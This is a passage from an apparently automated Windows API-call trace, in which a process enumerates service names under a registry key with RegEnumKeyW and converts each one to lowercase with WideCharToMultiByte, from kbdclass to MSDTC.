lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1de4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1de4450, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0249.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1de4408, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 